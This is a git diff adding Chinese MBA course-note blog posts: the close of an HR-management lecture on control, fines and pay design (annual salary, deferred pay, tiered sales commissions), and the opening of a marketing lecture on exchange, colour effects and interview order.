+我一问，她也乐了。因为她发现，她其实和我做的假设是一样的。 + +我为什么做人性是恶的这个假设？我为什么假设员工是恶的？ + +这里并不意味着在管理过程中把员工都看成坏人，而是假设员工是坏人的时候，是在制度上保证一旦员工出现问题，组织可以最大限度的保证采取有效的应对和管理措施。对于人的管理，一旦出事，亡羊补牢，为时已晚。 + +如果你还是不同意这个观点，那我问你：如果人性是好的，还需要法律吗？还需要制度和管理吗？“人性是恶的”是一个重要假设，是制度设计的重要前提。 + +第二条：人是没有自觉性的。 + +我认为人是没有自觉性的，如果我们把对员工的管理建立在基于他们的自觉性上，组织的效率就难以保障。对人的管理要重在制度的保障。 + +以往我们总想培养员工工作的主动性和自觉性，然而我们有成功过吗？如果几个员工工作不努力，抱怨工资低。企业给他们涨工资，从2千元涨到2万元，之后还会不会有不努力工作的人?还会有。而且不努力工作的人是同一批人。一项研究表明，员工的工作状态不会因为工资的上涨而得到持久地改善，因为薪酬是不解决激励问题的，不能当作激励的手段。 + +有一次讲课讲到这里，有一个同学特别激动地跟我说：“许老师，您讲的真好。过去我认为企业效益好了吧，给员工涨工资，希望他们努力工作。最后发觉工资虽然涨了，但目的却没有达到。给员工涨工资就跟抽大烟一样，涨了一次还会期待第二次，第三次，会上瘾。” + +这位同学说的很好。薪酬不解决激励问题，它首先解决的是公平问题。如果人性是恶的又没有自觉性，怎么办？这就引出了第三条：人是需要控制的。 + +第三条：人是需要控制的。 + +如果你们让我用一句话总结什么是管理，管理就是控制，这是我所有思想中最核心的一句话。 + +我们看过无数的企业，靠严格的管理，有效的控制为企业带来发展。但你们看过哪个企业靠尊重人才就能做好企业的？ + +如果你们说谷歌尊重人才，它每天有一定的时间由员工自由支配。那我们看看亚马逊，它从来不考虑员工利益，而是以客户为导向。西安杨森，美国强生公司在中国最大投资企业，曾经是中国药业第一名，它的管理信条是：客户第一，员工第二，社会第三，股东第四。 + +实际上，他们敢这么做是因为有足够的自信，他们拥有一整套完整的规章制度（如麦当劳清单、特斯拉员工手册），通过有效的管理和控制来保障企业的效率。我们有吗？ + +案例1：中国海洋石油与英国BP的安全管理 + +记得有一次，我受中国海洋石油和英国BP公司委托，到中国南海的一个钻井平台授课。第二天到公司后，门口站着一个小伙子，他说：“欢迎您，许老师。您上过平台吗？” + +我说：“没有。” + +他说：“许老师，根据规定，第一次上平台需要接受四十分钟的培训。” + +四十分钟的培训漫长而煎熬，结束之后，因为刮台风，平台禁止登陆。我不得不返回深圳，周四再来。 + +周四再次到公司后，小伙子还在门口站着。 + +他说：“欢迎许老师。您上过平台吗？” + +我说：“没有。” + +他说：“许老师，根据规定，第一次上平台，我需要给您做培训。” + +我说：“小伙子，我们上次不是培训过了吗？” + +他说：“许老师，对不起。根据规定，一次培训后的48小时内没有上平台，视同没有接受培训。” + +再次培训完，终于把我带上平台。一下车，又看见一个小伙子。 + +他说：“您好，许老师。您上过平台吗？” + +我说：“没有。” + +他说：“按照本规定，您第一次上平台，我要给您培训。“ + +我说：“小伙子，他们折腾我两遍了。” + +他乐了，说：“对不起，许老师。这是我的责任。” + +于是，又培训了一遍。 + +后来我才明白，从管理沟通角度看，要把一个信息准确地传递下去，至少要在三个场合说七遍。因为管理没有形式就没有内容，没有过程就一定没有结果，即使有了内容，形式比内容还重要。 + +接着上面的故事。后来培训完，终于上了平台了。他给了我一张卡。上面写着130号。他跟我讲：“许老师，从现在开始，平台上所有人都知道您是130号，请您把这个号记下来。” + +接着把我带到了餐厅里面。 + +他问我：“许老师，您还记得卡号吗？” + +我说：“记得，130号。 ” + +他说：“许老师这三天，您所有的活动都在这。” + +我说：“行。” + +他又问：“许老师，刚才给您的卡在哪？” + +我摸了摸兜，正要把卡给他。他说：“您不能给我，麻烦您根据卡号把卡放到旁边的卡架上。” + +号码在卡架的最下面，我平时很少活动，蹲下来放卡，就让我的腰有点不舒服，心里有点不高兴了。心想着，自己到哪都有人帮忙，这小伙子怎么 +这么不懂事。 + +放完了卡，他把我带到了住宿的地方。 + +小伙子问：“许老师，您饿吗？我带您到餐厅吃饭，顺便认识一下路。” + +这时候已经下午1：35了，确实有点饿。就又跟着他到了餐厅，他给我倒了杯水，就去厨房准备了。过了没多久，他回来了，说暂时还吃不上，饭还没准备好。 + +他说：“许老师，还有点时间。我带您再回宿舍认认路。” + +终于到了宿舍门口，我有意让他回去。他说：“许老师，您确认已经认识到达餐厅的路了吗？” + +我说：“知道了。” + +他说：“许老师，那请您在前边带路，我后边跟着。” + +到了餐厅，他跟我讲：“许老师，对不起。我反复这样做是因为这个餐厅对您太重要了，它不仅是这个平台上最大的空间，而且一旦有紧急情况，这个餐厅都是第一集中地。” + +这时候，我就知道他一直在做什么了。他一直在给我做培训。 + +他继续说：“许老师，一旦您在房间里发生火情，请您首先拿起电话，报告总机，这时请您说中文并准确地报告事件的发生地。在您报告以后，请您迅速跑到餐厅，走到您的卡架前，找到130号卡，放在兜里，坐在位置上不要动，看到所有人开始跑的时候，您跟着一起。跑到救生艇旁边，会有一个相同的卡架，再请您把那个卡架上的130卡拿起来，放在兜里。然后您就可以跳船逃命了。” + +我说：“那你为什么不带我去认一下跳船逃生的路线？” + +小伙子说：“不好意思，那条路线太复杂，不能保证像从宿舍到餐厅一样让您立马记住。与其带您去一次，您仍然不可操作不可执行。倒不如让您跟着其他工作人员一起跑，一定会找到正确的地方。” + +故事讲到这里就基本结束了。以上就是这个平台的流程管理，而这张卡就是流程中的关键控制点。一旦有事情发生，工作人员就会通过这张卡来判断人的去向。如果第一个卡架上的卡没了，说明人至少在房间里面。如果第二张卡也没了，说明人已经跳船逃命了。如果第一张卡没了，第二张卡在，说明人在行进当中或者迷路了。这个信息至少可以告诉安全管理员，这个人已经知道平台发生了紧急情况，在采取自救措施。 + +所以，来到平台之后，亲自把卡放到卡架上是保证发生紧急情况后，这个人能够第一时间找到卡的位置。而安全管理员的职责是，只要卡架上还有一张卡，他就不可以跳船逃命。 + +这才是管理和控制。讲完了，你很佩服，但是你很难做到。我说过，管理是一种修养，是一种习惯，需要慢慢培养。 + +案例2：伊利严苛的罚款制度 + +我给伊利做辅导很多年了，伊利厂区有两个文字性东西：一个是各类罚款规定，一个是财务费用控制分解图。伊利的罚款可谓极致，餐厅不允许剩饭剩菜。有一次，伊利的一个主任带我到餐厅吃饭，我吃完刚要走，主任跟我讲：许老师，对不起，您不能走。伊利有规定，如果剩饭，会产生三项罚款，第一，谁请客谁掏钱；第二，不但掏钱还要罚你一笔；第三，还要罚服务员。 + +因为这个制度，伊利的餐厅从没有剩饭。几年后，当我再次来到伊利厂区，再次到餐厅用餐，发现伊利早已取消罚款规定，但每个人都已养成了不剩饭的习惯。 + +除了剩饭罚款，上楼梯走错方向也有罚款。伊利规定上楼梯走右边，下楼梯也要走右边，伊利办公楼楼梯中有道白线，人分两边走，走错方向罚款三十元。 + +问大家一个问题：罚款制度先进吗？科学吗？ + +我告诉你，不先进，也不科学，但有效。管理从来没有先进和落后之分，有效的就是好的管理。 + +第四条：人是重要的。  + +虽然我认为人性是恶的，人是没有自觉性的，人是需要控制的，但我不能否认，人是重要的。 + +为什么人是组织中最重要的要素？组织内任何设备、技术、厂房、办公环境都可以花钱买来且没有差异，但唯独人力资源，花多少钱买都一定会有差异。花钱多，未必有效，花钱少，未必无效。 + +其实，经济学已经对人力资源的重要性给出了解释，无论是人力资本还是非人力资本，都有两个重要的属性：抵押属性和看护属性。 + +非人力资本，有价值就可以抵押。有价值的非人力资本一定同时存在一个看护者。价值越高，对看护者的要求越高。按照这个逻辑，判断人力资源的重要性取决于一个企业发展的客观要求。企业规模小时，老板以及他所占有的资源更重要。而人的能力和资源是有限的，在企业发展到一定阶段后，人力资本就变得越来越重要。有时候大家会觉得老板不重视人力，其实不是他不重视，而是企业还没有发展到需要重视人力资源的这个阶段。 + +由于人力资源的重要性取决于企业发展的客观要求，也就是说人力资源问题是过程性的，它是在组织发展到一定阶段的产物。人力资源一旦出现问题，它对组织的破坏性是不可想象的。因此，面对人的问题，要求我们要先投入，做防范性的制度设计，基于未来进行思考，这就是战略性人力资源管理。 + +第五条：人是难于管理的。 + +人力资本和非人力资本都具有这两个属性，抵押属性和看护性。但两者区别在于，人力资本的这两个属性是合二为一的。也就是说，我有价值，我是自己的看护者。 +这时候靠什么来管理我？（学员说：靠制度。） +许老师说：“断章取义。你们只记住这句话了，还有一句话没有说。” + +记住，管理是经营者和员工的博弈过程。管人虽然复杂，但总结起来，基本招法有四个： + +第一， 威胁你的收入。对于像我一样，收入来源广泛的员工，这招无效。 + +第二， 威胁你的职业。不过聪明的员工往往不会触碰底线，而是跟企业博弈。 + +第三， 威胁你的事业。威胁不了你的现在，威胁你的前程。但职业经理人往往属于市场，不属于某个企业。职业经理人只忠于职业，而不会忠于企业。 + +忠于企业的时代已经过去了。研究表明，美国人一生中变换职业和组织次数平均7.2次，每个人在同一组织平均付出时间4.6年。也就是说，以五年为限，一个员工在企业中工作时间越长，企业所支付的成本就越高，而员工对组织的价值就越少。因此随着时代的变化，员工和组织已不再是牢固的雇佣关系。 + +话说回来，如果职业经理人真的忠于职业，企业所要的员工忠诚也就保证了。但如果职业经理人没有忠于职业，怎么办？这时候上面三招都不管用，只能动用第四招，所谓“邪招”。 + +第四， 威胁你的安全。 + +这里讲的威胁安全，不是暴力的，而是攻心的。过去我们认为企业所提供的薪酬水平决定员工职业选择，实际上，企业所提供的职业安全性保障更能影响员工的职业判断。 + +举个例子。如果你们是普通员工，现在我提供两个选择：一个是一年8万，保证15年；一个是一年12万，保证3年。请问选择哪个方案？ + +20几岁的年轻人可能不在乎。但随着年龄的增长，人们对职业安全性的要求越来越高。因此，我提出“威胁你的安全”，指的是管理者与员工所感受到的职业安全博弈。 + +讲到这里，对中小型民营企业应当有一个重要启示。小企业没有能力保障员工一个稳定的发展未来，如果这时候还不肯多支付当期成本，自然企业招不到人、流失率高。 + +人力资本的不可分割性（抵押属性和看护性合二为一）决定了人力资本的价值越高，流动性就越强，企业对人的管理就会越困难。那些优秀的员工，在企业中价值提高的同时，市场价值也同步提高。因此面对有本事的员工，仅仅靠管理的控制是解决不了问题的，这时候就引出了第六条。 + +第六条：人是需要尊重的。 + +什么叫“尊重”？体现出管理的公平是对人的最大的尊重。前面讲过，薪酬不解决激励问题，薪酬的本质是公平，解决的是公平问题。那么，薪酬是怎样解决公平问题的？下面详细解析。 + +企业中很多关键岗位采取年薪制，但是很多企业对年薪的理解都不完备。年薪必须满足三个最基本的特征： + +第一，风险特征。年薪意味着员工的利益实现周期与企业经营业绩周期一致。企业经营业绩周期最短是以一年为单位，因此称年薪。员工利益实现周期越长，表明他对组织的价值越高，所承担的风险也就越大。 + +第二，年薪制是协议工资。人力资源的价值主要体现在两个方面，一个是组织内的公平比较，一个是市场供求。组织内薪酬的公平性会受市场供求的影响。比如，相比于人力经理，财务经理在企业中的不可替代性更强，它的岗位价值就越高。但财务人员的市场供给往往会大于人力，导致组织内岗位价值有所下降，这样组织内部公平就被市场供给破坏了。因此年薪制可以不考虑组织的公平，更大程度体现的是市场的供求关系，因此年薪制是协议工资。 + +第三，年薪制是延期支付计划。 +举个例子，假设公司聘一名高管，年薪30万，分两部分，一部分是基本年薪，一个月1万，一年12万，其余18万是绩效年薪。设定年度考核目标是1000万。如果他完成了900万，这18万给多少？如果你说应该给90%，那你的年薪制就没有意义了，就不会起到激励效果。 + +想象一下，如果假设第一年该员工完成了900万，投入100%的精力。客户逐渐积累，到第二年业绩还是900万，他只需要投入60%就可以达到这个业绩。那么问题来了，谁还会用40%的额外努力去换取那10%的收入？而这10%又正是企业希望获得业绩增长的那部分。这种情况下，你的年薪就是无效的。 + +我们讲过，在好的制度条件下，个人和组织的目标是一致的。如果上述薪酬设计不能使员工努力，说明制度设计上一定出了问题。 + +那这个高管的年薪要怎么给？销售岗位的薪酬怎么设计？这里跟大家讲一点点薪酬设计的技术。 + +薪酬设计——年薪 + +1.绩效薪资 + +先来看年薪的设计。给高管总年薪30万，12万基本薪资，18万绩效薪资。如果完成了90%的业绩，你就发90%的绩效薪资，这是有问题的。因为你的高管权衡之后可以选择放弃。 +那你怎么办，你应当想办法让他不能放弃努力。多少他才不会放弃？如果是只完成了90%，那么应该发放的是原定的60%~70%的总薪酬。60%~70%是一个心理量，这个比例一般可以让人们选择继续努力。如果我们取上限，也就是70%来发放，那么绩效薪资是多少？30*70%=21万，21-12=9万，也就是只发放9万的绩效薪资。12万的基本薪资是不变的，变的是18万的绩效薪资。 + +![](/uploads/2018/11/01-02.png) + +2.金手铐计划 + +我们再进一步。如果员工完成了1000万考核指标，18万的绩效薪酬给不给？（学员回答：给。） + +不对！我们很多企业家是只懂经营不懂管理。如果给了，他拿到钱后走了怎么办？到竞争对手那里怎么办？恶性经营了怎么办？ + +真的完成了1000万的考核指标，我们也应当从18万的绩效薪酬中拆分出30%，延期3~6个月支付。很多同学会说，人家都完成任务了为什么不把钱给人家？ + +同学们，你们有没有想过，你所设定的1000万这个经营性指标，只是显性的考核指标。如果这个员工为了完成任务而恶性经营，你怎么办？延期支付就是为了防止员工为了追求指标而采取恶性经营，是用制度保证组织的风险趋近于零。 + +而且，当员工得到这个延期支付的薪资后，即使他想走，他也会慎重再考虑一下了，因为他的当期薪酬又发生了，这就是金手铐计划。 + +![](/uploads/2018/11/01-03.png) + + +薪酬设计——销售岗位薪酬 + +1．底薪+固定提成制 + +我们再来看一下销售岗位的薪酬设计。一般我们设定销售岗位的薪酬都是“底薪+提成”。很多人怎么设计？他们会设定为底薪+1%提成，这种设计思路是真的垃圾。 + +因为，如果他的销售任务是100万，他卖出第一个1万，和最后一个1万所付出的努力是一样的吗？很大程度上是越往后越难的！这就造成了和前面说的年薪的绩效薪资一样的问题。提成这时候根本起不到激励作用了，员工很可能权衡之后选择放弃冲击总业绩目标。 + +2.底薪+固定提成+奖金制 + +这时候怎么办？很简单。采取“底薪+提成+奖金”的薪酬体系。我们可以设定一个完成任务的奖金，为了得到奖金，员工越趋向目标，他就会越努力，考核目标差一块钱，他都要努力完成。于是积极性就被驱动起来了。而企业根本不用担心奖金会增加薪酬成本，你只要从提成里剥离0.1%作为奖金就可以了。也就是他的薪酬构成变为了——底薪+0.9%提成+奖金（0.1%销售额）。薪酬成本不变，只是改变制度设计，结果就会完全不同。 + +![](/uploads/2018/11/01-04.png) + + +3.底薪+累进提成制+奖金 + +我们再往前推进一步。刚才我们说了，员工销售额的积累，，那这时候我们怎么做可以起到更大的激励作用？ + +假设我们设定他的年度考核指标是100万。考虑到客户开发成本逐渐降低，因此我设定其销售额在1~50万时，提成是0.6%；50~70万时，提成是0.8%；70~100万时，提成是1%。同时，奖金的激励我们也要用到，我们再将销售额1~50万时的0.4%以及50~70万时的0.2%集合成奖金，这就是累进提成制。 + +这种制度虽然合理，但是确实比较“黑”，榨干了员工。 + +4.底薪+累加提成制 + +我们再推进一步，我们要兼顾公平的原则，那就可以采用累加提成制。 + +仍然设定年度考核指标100万。我仍然设定1~50万，提0.6%；50~70万，提0.8%；当员工完成70万指标后，我将50~70万的0.2%补上。70~100万，提1%，当员工完成100万之后，我再补上他1~70万的0.2%。这就是累加提成制。如果愿意的话，当然可以再设奖金。这种制度相对就公平许多，温和许多。 + +![](/uploads/2018/11/01-05.png) + + +可能也有人会说：许老师，您这样设计薪酬体系，恐怕他们不会来。原来人家一个月8000元。现在按照您的设计，虽然总薪酬没变，但当期薪酬降低了，而且还要等到年底。 + +请注意，我刚才所讲的薪酬设计有一个重要的前提假设，就是他要12万，给他15万，他要24万，给他30万，你要让他承担风险，就相对要付出更高的价格。 + +但是，如果这种情况他还不干，就说明他只想安全和稳定，不希望承担任何风险，这时候这个人就一定不是企业想要的人了。我们根本就不用拿眼看人，用制度就可以看出这个人适不适合你的企业。因为制度的背后衡量的是人性，人性的背后要靠制度来管理。 + +总结一下。管理就是控制，薪酬设计也要体现管理控制的思想。控制和激励是管理的两个方面，体现出管理的公平就是对人最大的尊重。 + +第七条：人是多样化的。 + +英文中描绘人的性格和行为方式的单词共有17953个。从中可以看到人的复杂性，无疑人的动机、需求多样，管理多样。第七条需要结合第八条来梳理。 + +第八条：人的管理是一门科学。 + +首先，心理学是一门科学，心理学是研究人的，因此人的管理是一门科学。很多人认为心理学要么是经验的，要么是思辨的，但其实心理学是基于实证的科学研究。 + +怎么理解，举个例子。如果你们去招聘，有两个人应聘，这两个人一个内向，一个外向。你的任务是同时向这两个人提问，你们觉得内向和外向这两个人谁说话多？很反常识的是，研究表明，内向的人比外向的人说话多。 + +心理学对人类社会最大的贡献在于它所有的研究都是通过实证的。心理学研究发现，在这种情况下内向的人比外向的人说话多，原因是内向的人知道自己不善于表达，担心面试中处于明显的劣势，于是准备得比外向人更充分，现场说得也就更多。 + +再进一步，如果三个人应聘，两个外向，一个内向，同时提问，内向和外向谁说话多？更是内向的人说话多了。这时候，两个外向的人一人说一句，内向的人得抢两句。 + +再进一步，如果是两个内向，一个外向，谁说话多？外向的人要说话多。因为内向的人有伴儿了，你不说我也不说，也不会显得我很劣势。不管你信不信，这是科学，这是实验。 + +再举个例子，从小我们接受教育，饭前便后要洗手。有人做了一项研究，发现有人在一旁监视的情况下，82%的人便后都会洗手。而没有人监视的情况下，只有20%左右的人会洗手。这是人的本性所决定的。 + +因此，选人做事要遵循客观性的原则，要坚持四个把握： + +第一，人性的把握（是本质的）； + +第二，本性的把握（是心理的）； + +第三，行为的把握（是表现出来的）； + +第四，差异性的把握（是判断性的）。 + +可能有的同学会说，自己的判断没问题，不需要遵循客观性原则。那我们下面做一组小游戏，看看我们的认识和判断是多么容易被蒙蔽和扭曲。 + +题目1：你能数出有多少黑点吗？ + +![](/uploads/2018/11/01-06.png) + +题目1答案：没有黑点。 + +题目2：这些线平行吗？ + +![](/uploads/2018/11/01-07.png) + +题目2答案：平行。 + +题目3：这是个什么形状？ + +![](/uploads/2018/11/01-08.png) + +题目3答案：正方形。 + +题目4：左边和右边中间的圆形，哪个大？ + +![](/uploads/2018/11/01-09.png) + +题目4答案：一样大。 + +做完上面的题目，你就应该明白，经验和情感是骗人的，会影响我们的判断，我们要学会用科学的方法判断真伪。因此人的管理是一门科学，我们要遵循科学的规律，要遵循客观性原则。 + +全课总结 +至此，我的人力资源管理全景视角的课程就全部讲完了。我们做一下总结。 + +人力资源的核心：人与组织的关系 + +人力资源管理的核心是人与组织的关系。组织是一个系统，专业化分工能提高组织系统的效率。而人是个性化的，个性化会导致组织的效率降低。因此必须通过“去我化”来降低人的个性，提高组织的效率。 + +什么是“去我化”？举个例子。假设我们两人从人大到北大，我说从东门走，你说从西门走，其实东西两门都可以到北大，前提是我们两个人必须去走。讨论之后，我决定跟你一起走西门。从西门走虽然说可能会远一点，会有一点效率损失。但作为一个团队，要想达到目标就必须依靠团队的力量。不要担心过程中的效率损失，只要坚持胜利一定是你的，别人的错误也会成就你的成功。 + +怎样通过“去我化”解决“个性化”？要通过文化解决这个问题，方法论是组织的规范化。 + +怎样通过“规范化”达到“去我化”？这就需要组织建立规矩，规矩来源于制度，制度解决组织的功能化问题。这就是人和组织的关系。 + +什么是制度？要求你服从，否则就会受到组织的惩罚。 + +什么是规矩？没人要求你，但你要遵从，否则就会受到组织的排斥。 + +![](/uploads/2018/11/01-10.png) + + +制度和规矩之间总是有距离的，制度规定不允许迟到，总有人迟到，不允许打电话，总有人会打。因此，不可能通过制度解决所有问题，当制度不能解决问题的时候，就要靠文化来整合。文化的力量决定着企业发展的高度，企业发展的高度取决于企业家的道德和修养。企业家的道德和修养又是在整个社会文化背景中逐步形成的一个组织的性格。 + +组织与人力资源管理总论模型 + +至此，为大家建立了一个完整的模型——组织与人力资源管理总论模型，从方法论上涵盖了所有关于人力资源管理的命题。在我出版的《战略构建与制度体系——人力资源管理全景视角》教材中，包含了课程的全部内容。 + +![](/uploads/2018/11/01-11.png) + +图组织与人力资源管理总论模型 + +如图所示，人力资源解决的是人与组织的关系，解决思想问题靠的是思想体系模型。（图上部） + +![](/uploads/2018/11/01-12.png) + +图组织与人力资源管理总论模型：思想体系 + +有了思想就有了方法，五要素模型我称其为方法论道，涉及战略、组织、人力资源、制度管理、文化整合各项要素的系统整合。管理靠的是制度，但制度是不能解决所有的管理问题，当制度不能解决问题的时候就要靠文化整合，文化整合的制高点是企业家、管理者的道德和修养。（图左侧） + +![](/uploads/2018/11/01-13.png) + +图组织与人力资源管理总论模型：方法论道 + +有了方法，再通过制度落地，这就是制度构建模型。其中八条圣经是制度设计的理性假设，招聘、培训、绩效、薪酬构成了主体制度。（图右侧） + +![](/uploads/2018/11/01-14.png) + +图组织与人力资源管理总论模型：制度构建 + +最后，再以企业家作为平台来支持企业的成长。以上就是课程的全部内容，建议大家回去好好阅读这个模型，结合模型来印证这四节课中我所讲的内容，构建起自己相对较为完整的人力资源管理全景视角。 + +问答环节 + +问题1：人力资源管理的八条圣经中，“人是需要尊重的”和“人是需要控制的”两者是否矛盾？ + +许玉林：这两者不矛盾。不同阶段，企业所面临的问题是不同的。管理学中，有企业生命周期理论，企业就好比一个小孩，自我能力弱时就需要管控，随着企业趋向成熟，管理就要放权，要尊重。当然，除了企业发展的不同阶段，不同行业的管理理念也是有差异的。 + +传统管理强调管控、服从、执行，而现代管理是迭代于传统管理之上的。因此控制是基础，没有有效的管理控制就不能解决激励问题。用一句话回答你的问题，就是“控制在先，激励在后，控制是管理的最高准则。” + +问题2：管理者如何保有对企业的控制权? + +许玉林：任正非是怎样保有控制权的？财散了人才聚。保有控制权，就是建立威信。要将自己投射给下属，看下属为什么追随你，他们能从你身上获得什么。这就是你的威信。 + +我们的老祖宗早就做了先例。山西的票号分为银股和身股。银股是原始股，各个东家根据出资金额划分股权。身股类似于分红权、期权，它要求身股数量的总和不得超过原始股，以保有东家的控制权。 + +因此，你可以通过控股来保有控制权。不过当企业做大后，一旦资本进入，控制权就难以保证。只要你保有企业67%的股份，任何情况下都是绝对控股，你就一定不会丧失控制权，但这很难做到。 + +记住，股权是不能随意分享的，合伙人一定是志同道合的人。比如，现在你的企业资本50万，分了30%股权，才15万，不算多。一旦企业做到1亿市值，这30%股权就3000万了。这时候你们双方都觉得自己亏了。这就是价值观不同。因此用人是价值观问题，要志同道合。 diff --git a/_posts/2018-11-04-309-marketing01.md b/_posts/2018-11-04-309-marketing01.md new file mode 100644 index 0000000..6160319 --- /dev/null +++ b/_posts/2018-11-04-309-marketing01.md @@ -0,0 +1,388 @@ +--- +layout: post +title: 【市场营销模块】 第1节 何为市场营销 +pid: 308 +tags: [mba] +--- + +导语 + +柏唯良教授在他的《细节营销》一书中写道：“市场营销知识的一大力量就是，可以提高市场营销的工作成效，而无须增加成本。” 哪些市场营销知识能帮你提高营销的工作成效？来听听柏教授的精彩观点！ + +邀您先思考 + +你眼中的市场营销是什么？ + +你有哪些提高营销成效的“小窍门”？ + +正文 + +首先，感谢大家对我的信任。今天是周末，很多人会选择去教堂做礼拜，其实我觉得这里也是一种教堂，只不过我们崇拜的不是上帝，而是金钱。 + +为了让大家有所收获，不荒废你们的宝贵时间，我精选了EMBA市场营销课程的核心作为这节课的主要内容。 + +前两节课我会讲解一些市场营销的战略、哲学层面的内容，后两节课会涉及实操的营销工具，尤其是定价和促销。所以，我敢肯定，你们听完一定会获得知识，获得成长。 + +而就第一讲而言，我希望先给大家讲清楚到底什么是市场营销，给大家建立一个对于市场营销的正确认知，因为当你从一个更高的角度理解了你要学的东西是什么的时候，你学起来才会事半功倍，能够抓住重点。 + +![](/uploads/2018/11/04-01.png) + +一、市场营销是管理交换的策略 + +第一课的主题是“何为市场营销”。 **什么是市场营销？没人能完全说得清楚。** 我们都知道出租车司机是干什么的，牙医是干什么的。比如，牙医就是给患者补牙，填洞，然后收费。但是我们到一个公司的市场部，总能看到三四十人坐在那，忙忙碌碌的。他们在忙什么呢？这些人既不生产产品，又不销售产品。难道他们就像寄生虫，只会增加企业的成本，没有任何价值吗？ + +我们身为市场营销人员，有时候都不好意思说自己是干这个的。如果你有女儿，你希望她嫁什么样的男人？是市场营销经理还是工程师？ + +工程师好一点吧！工程师做人往往更加真诚。 + +如果嫁给一个英国文学教授怎么样？那就更好了吧！ + +每次谈到我的工作，我妈妈总是很骄傲。她会跟别人说：我儿子是个教授。人们就会特别羡慕，再细细盘问就露馅了。教什么的教授啊？市场营销……这会儿对方会觉得，也不过如此嘛，市场营销教授也不是什么好工作。 + +—营销经理要涉猎广泛— + +但事实上 **我们在座的每个人，时时刻刻都在做营销，我们天生都是营销者。** 小时候你会跟妈妈说，我想喝奶，喝完我才会放你去睡觉。于是你的父母就只能哄你到睡着才能去睡觉。 + +实际上这就是一个营销行为。它的本质是双方通过交换达到双赢的局面。交换是市场营销的主题，也是市场营销研究的核心概念。 + +![](/uploads/2018/11/04-02.png) + +交换也是生命的基础，人类的两种分子相遇，结合到一起，相互交换物质和能量，就诞生了一个生命。 + +交换无处不在，市场营销人员要么在进行交换，要么研究如何交换。因此，营销管理就是管理交换的策略。 + +既然交换是市场营销的主题，这里就引出诸多问题，如什么是交换？交换的对象、地点、规模，交换商品的颜色、价格，是否有保修期等等… + +市场营销的问题数不胜数。它是一个非常宽泛的概念，包括定价、销售管理、广告、市场研发、新产品开发、渠道、零售、批发、商业模式创新等等。每个领域下面又有非常多的细分问题，如果你能成为其中一个主题的专家，就很厉害了。但作为市场营销经理，他们必须要熟悉营销的所有问题，知识的复合性决定营销经理的能力。 + +也正因为 **市场营销涉猎范围如此之广，策略如此庞杂，很多小细节就能极大地影响营销的成效。** 下面我会讲一些市场营销策略的案例，让大家对市场营销有所感知。 + +![](/uploads/2018/11/04-03.png) + +**红色的力量** + +举个小例子。我今天佩戴的是红色领带，特朗普平日也是佩戴红色领带。这可不是巧合，研究表明女人更喜欢男人穿戴红色。 + +有很多关于色彩领域的研究，比如如果一个足球队以红色为主，他们的进球会更多。再比如日本相扑运动，如果运动员穿红色，胜率就会更高。表面上好像没什么差别，但却具有统计学意义。这是非常有意思的现象，如果你想赢，记得多穿红色。 + +当然，你也不要真的天天穿红色。如果每个人都穿红色领带，你应该戴一条绿色或者蓝色的领带。因为往往你掌握了一个规则，你才知道怎么破坏它，要打破陈规，首先必须掌握陈规。所以，当所有人都知道规则的时候，你就不要循规蹈矩了。 + +![](/uploads/2018/11/04-04.png) + +**让竞争催生创意** + +腾讯要做社交媒体，就要跟微博竞争。他们要勾画一个迭代于微博之上的社交媒体的蓝图。于是，腾讯就组建了两个设计团队，他们的终极目标就是开发出比微博更好的社交产品。大家注意，腾讯组建了两个团队。 + +**如果你要开发新产品，或者设计创意广告，记得要2~3个团队同时做，让他们相互竞争、相互促进。如果只有一个团队，那只会产生单一团队内部的恶性竞争，从而遏制创新。** + +正如我们所知，腾讯最终开发了一个比微博更好的社交产品—微信。而推动这项创新工作的绝不是设计部，而是市场营销部。记住，好的点子一定产生于市场营销者和消费者研究专员，是他们将构想的新产品带到工程部去制作。因此，产品创新也是市场营销工作的一部分。 + +高科技创新公司中有两个伟大的领导者，一个是乔布斯，一个是马云。乔布斯不是工程师，而是一名营销专家。他不懂编程，却能创造出Ipad这个伟大产品。马云，曾是一名英文老师，他不懂技术，但仍然可以创造一家起码未来5~10年内世界上最强的科技公司。 + +营销工作不仅是该不该穿戴一个红色领带的小问题，还会涉及一家公司应该做什么，未来5~10年应该是什么样子，要向什么客户提供什么产品等类似的大问题，市场营销和公司战略也是息息相关的。 + +![](/uploads/2018/11/04-05.png) + +—营销经理要学会管理— + +当我们谈到营销管理的时候，很多营销经理根本不懂。他们就像超市收银员一样，坐在柜台，商品过来了，扫码、收钱，然后客户走了。看似是做了一些工作，但是他们的认知里并没有到营销管理的概念。 + +市场营销经理要学会管理，我也通过一些例子来阐述这个观点，让你们对营销管理有一些认识。 + +**要么第一，要么最后** + +假设你的公司要招聘一名营销经理，现在有4个候选人，你让他们下午两点来公司面试。你安插公司的两名员工在这4个候选人中做演员，其中一个人在4个候选人的最前面，编号1号，另一个在最后，编号6号。这样，就有了6个面试者，编号分别为1、2、3、4、5、6。 + +所有人就位以后，秘书来到等候间请一位候选人进屋，1号（演员）刚要起身，6号（演员）就站起来要冲进房间。 + +1号说：“你是最后来的，你应该在后面。况且所有人都比你先到，你肯定不能先进去。” + +每次秘书出来叫人的时候，6号都起身要抢着进屋，却屡屡被阻。 + +请问：在这样一场面试中，该雇佣哪位候选人？（注意：1号和6号是内应，只有2~5号才是真正的应聘者） + +结论是：没有一位合格。 + +类似这样的招聘问题，在人力资源领域受到广泛的讨论。其实除了第一名和最后一名面试者，其他人在实际招聘中受到雇佣的概率都不是很高。只有第一名和最后一名被关注的可能性高。 + +这就好比，人总能记住自己的第一任和最后一任老婆或老公，中间那些你根本搞不清。有一位著名的好莱坞女星（伊丽莎白泰勒），有7任丈夫。她可能根本不清楚第三、第四、第五个丈夫是谁，但第一个和最后一个一定记得。 + +如果你做过面试官，你一定懂得这个道理。你总能记住第一个和最后一个，中间的那些人说了什么，你根本搞不清。 + +因此，当6号候选人一次次要进入房间的时候，聪明的“营销者”应该说：可以啊，快进去吧！我可以等。 + +因为， **聪明的营销者清楚，做不了第一位，就做最后一位，他们会尝试管理这个过程。** + +当他作为最后一名面试者进屋后，可以跟面试官说：您好，面试官。您一定累了吧，让我们下去喝点茶吧。这样一来，你给他的感觉就是一个非常好的朋友。 + 